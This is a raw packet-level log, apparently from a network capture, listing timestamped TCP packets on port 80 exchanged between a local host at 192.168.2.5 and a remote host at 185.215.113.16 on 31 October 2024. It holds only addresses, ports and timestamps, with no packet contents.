Oct 31, 2024 02:08:20.271683931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.271833897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.271878958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.271888971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.271917105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.271948099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.271960020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.271970034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.271981001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.271989107 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.271990061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272011995 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.272028923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272037029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.272042036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272077084 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.272121906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272134066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272145033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272156000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272166014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.272169113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272192955 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.272224903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272243977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272253990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272259951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272262096 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.272286892 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.272300005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272310972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272322893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272336006 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.272357941 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.272376060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272392035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272403955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272414923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272432089 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.272456884 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.272552013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272629976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272638083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272671938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.272711039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272722006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272732019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272746086 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.272767067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272774935 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.272780895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272794008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272805929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272815943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272828102 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.272842884 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.272865057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272876978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272905111 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.272980928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.272993088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.273005009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.273015022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.273019075 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.273042917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.273181915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.273221016 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.273257017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.273267031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.273302078 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.273308039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.273319006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.273329020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.273355007 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.273721933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.273760080 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.273763895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.273773909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.273811102 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.273843050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.273854017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.273864985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.273890018 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.273950100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.273967028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.273983002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.273987055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.273997068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.274008989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.274019957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.274019957 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.274046898 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.274301052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.274312019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.274333954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.274343967 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.274344921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.274357080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.274384022 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.274404049 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.274754047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.274776936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.274787903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.274797916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.274810076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.274812937 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.274821043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.274832010 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.274859905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.274949074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.274960041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.274971962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.274981976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275007010 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.275032043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275032043 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.275043011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275053978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275070906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275077105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.275083065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275094986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275105000 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.275108099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275132895 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.275187969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275197983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275209904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275221109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275223017 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.275230885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275242090 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.275269032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.275290966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275302887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275319099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275346041 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.275366068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275382996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275396109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275403023 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.275405884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275428057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275429010 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.275439024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275450945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275473118 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.275496960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.275500059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275511980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275544882 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.275593996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275604963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275615931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275636911 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.275655031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275666952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275690079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.275779963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275791883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275804043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275815010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275816917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.275849104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275850058 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.275860071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275886059 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.275914907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275924921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.275953054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.388317108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.388427973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.388439894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.388451099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.388501883 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.388530970 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.388694048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.388710976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.388722897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.388756990 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.388809919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.388822079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.388837099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.388848066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.388859034 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.388859034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.388870001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.388883114 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.388886929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.388895988 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.388896942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.388907909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.388926029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.388926029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.388938904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.388947010 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.388950109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.388967991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.388978004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.388981104 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.388991117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389008999 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.389033079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.389045000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389054060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389064074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389085054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.389134884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389147043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389158010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389168024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389169931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.389189959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.389218092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389230013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389256954 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.389276028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389286995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389311075 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.389342070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389352083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389362097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389381886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389383078 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.389394045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389405012 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.389432907 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.389445066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389501095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389512062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389528990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389537096 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.389539957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389550924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389563084 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.389591932 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.389611959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389697075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389708042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389725924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389730930 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.389736891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389753103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389763117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389775038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389776945 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.389791012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389802933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389806986 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.389826059 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.389832020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389837027 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.389842033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.389873028 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.389992952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.390003920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.390013933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.390038013 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.390131950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.390145063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.390161037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.390172005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.390172958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.390189886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.390193939 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.390201092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.390227079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.390574932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.390604019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.390613079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.390616894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.390629053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.390651941 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.390712976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.390723944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.390742064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.390748024 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.390753031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.390763998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.390774012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.390786886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.390789032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.390798092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.390808105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.390815020 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.390819073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.390846968 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.391112089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.391149044 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.391175985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.391186953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.391196966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.391220093 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.391282082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.391294003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.391304970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.391330004 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.391340971 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.391391993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.391432047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.391443014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.391463041 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.391479015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.391493082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.391504049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.391515017 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.391541004 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.391572952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.391649008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.391659021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.391669035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.391684055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.391707897 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.391829967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.421880007 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.425913095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.425935030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.425946951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.425952911 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.425987005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.425996065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.426007032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.426018953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.426038980 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.426059008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.426069975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.426098108 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.426139116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.426176071 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.426201105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.426213026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.426248074 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.426275015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.426285028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.426295996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.426306009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.426320076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.426342964 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.426368952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.426381111 CET	80	49712	185.215.113.16	192.168.2.5
